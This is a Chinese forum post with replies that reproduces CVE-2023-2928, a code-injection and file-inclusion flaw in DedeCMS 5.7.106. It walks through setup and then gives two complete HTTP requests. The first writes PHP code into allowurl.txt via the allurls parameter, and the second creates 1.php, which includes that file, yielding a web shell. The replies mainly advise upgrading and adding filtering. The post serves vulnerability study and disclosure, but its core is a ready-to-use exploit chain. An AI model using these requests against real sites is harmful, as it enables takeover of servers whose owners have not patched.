DedeCMS文件包含漏洞导致getshell
声明:分享的安全工具、漏洞复现和项目均来源于网络,仅供安全研究与学习之用,
如用于其他用途,由使用者承担全部法律及连带责任,与作者和本站无关。
CVE-2023-2928-DedeCMS存在文件包含漏洞
版本:5.7.106
CNVD编号:CNVD-2023-40504
漏洞文件:uploads/dede/article_allowurl_edit.php存在缺少对该文件中写入内容的任何过滤是导致该漏洞的因素之一,在 5.7.106 之前的 DedeCMS 中发现了一个漏洞。它已被宣布为关键。受此漏洞影响的是文件 uploads/dede/article_allowurl_edit.php 的未知功能。操纵参数 allurls 会导致代码注入。可以远程发起攻击获得网站控制权限。
环境搭建,首先下载phpstudy并创建网站,
下载dedecms5.7.106版本,下载地址如下:
https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.106-UTF8.zip
把下载好的文件解压到刚刚网站创建的目录,访问创建的网站进行安装
填写完配置信息点击继续
安装完成之后我们先分析一下代码,通过分析文件/dede/article_allowurl_edit.php发现未对文件内容做任何过滤,会把内容写入到:
/data/admin/allowurl.txt文件
先登录网站后台访问此文件如图:
添加如下内容,在这里,dedecms 安全过滤器通过文件创建被绕过,事实上,文件包含函数没有被过滤,因此它可以用于任意文件包含:
点击确定获得如下数据包:
OST /dede/article_allowurl_edit.php HTTP/1.1
Host: test.dedecms.com
Content-Length: 147
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.dedecms.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://test.dedecms.com/dede/article_allowurl_edit.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=qi599qe097mcu4clue4g21cuur; _csrf_name_55fd8b84=350735ebb3676b552853e1e977763390; _csrf_name_55fd8b841BH21ANI1AGD297L1FF21LN02BGE1DNG=4def341c9a4a6d06; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=14bb82ac5695a862; DedeLoginTime=1685262355; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=377beff5871855be; ENV_GOBACK_URL=%2Fdede%2Fcontent_s_list.php
Connection: close
dopost=save&allurls=www.dedecms.com%0D%0Awww.desdev.cn%0D%0Abbs.dedecms.com%0D%0A%3C%3Fphp+phpinfo%28%29%3B%3F%3E&imageField1.x=23&imageField1.y=11
通过/dede/file_manage_control.php文件构造文件包含代码如下:
OST /dede/file_manage_control.php HTTP/1.1
Host: test.dedecms.com
Content-Length: 135
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.dedecms.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://test.dedecms.com/dede/file_manage_view.php?fmdo=edit&filename=robots.txt&activepath=
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=qi599qe097mcu4clue4g21cuur; _csrf_name_55fd8b84=350735ebb3676b552853e1e977763390; _csrf_name_55fd8b841BH21ANI1AGD297L1FF21LN02BGE1DNG=4def341c9a4a6d06; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=14bb82ac5695a862; DedeLoginTime=1685262355; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=377beff5871855be; ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php%3Fdopost%3Dfilemanager
Connection: close
fmdo=edit&backurl=&token=&activepath=&filename=1.php&str=<?php Include_once("./data/admin/allowurl.txt"); ?>&B1=++%E4%BF%9D+%E5%AD%98++
访问根目录下1.php获得shell
Re: DedeCMS文件包含漏洞导致getshell
感谢分享,分析得很详细。这个 CVE-2023-2928 确实影响不小,核心问题就是 `article_allowurl_edit.php` 对 `allurls` 参数没有任何过滤,导致可以写入任意 PHP 代码到 `allowurl.txt`,再通过 `file_manage_control.php` 实现文件包含执行。5.7.106 及之前的版本都可能受影响,需要尽快升级或手动在写入处加过滤。你的环境搭建和抓包步骤也很清晰,方便大家复现理解漏洞原理。Re: DedeCMS文件包含漏洞导致getshell
感谢分享这个漏洞信息,非常详细!对于使用 DedeCMS 5.7.106 及之前版本的用户来说,这个文件包含漏洞确实很危险,能直接 getshell。从分析看,问题出在 `article_allowurl_edit.php` 对 `allurls` 参数没有过滤,导致可以写入恶意 PHP 代码,再通过文件管理功能包含执行。建议还在用这个版本的朋友尽快升级到最新版,或者根据 CNVD 的修复建议对相关文件增加过滤和权限限制。另外,后台地址和默认路径也要做好访问控制,避免被攻击者直接利用。再次感谢你的复现过程和数据包,对安全排查很有帮助。Re: DedeCMS文件包含漏洞导致getshell
感谢楼主分享这个漏洞的详细分析过程和复现方法。CVE-2023-2928 确实是一个值得关注的严重漏洞,尤其文件包含可以导致 getshell,对站点安全威胁很大。你提供的代码审计和抓包截图非常清晰,对理解漏洞成因很有帮助。 建议使用 DedeCMS 5.7.106 及更早版本的用户尽快升级到官方修复后的版本,或者按照你提到的思路,检查 `article_allowurl_edit.php` 中是否对 `allurls` 参数做了充分的过滤和转义,同时留意 `file_manage_control.php` 的文件包含逻辑。如果条件允许,也可以考虑在服务器层面限制后台目录的执行权限或加入 WAF 规则。 再次感谢你的安全研究分享,期待更多有价值的漏洞分析!Re: DedeCMS文件包含漏洞导致getshell
感谢分享这个漏洞的分析和利用过程,讲解得很详细。DedeCMS 5.7.106 的 `article_allowurl_edit.php` 未过滤写入内容确实是个关键点,结合 `file_manage_control.php` 的文件包含功能组合利用,思路清晰。对于还在使用旧版 DedeCMS 的站长,这个漏洞的威胁很大,建议尽快升级到修复后的版本。
页:
[1]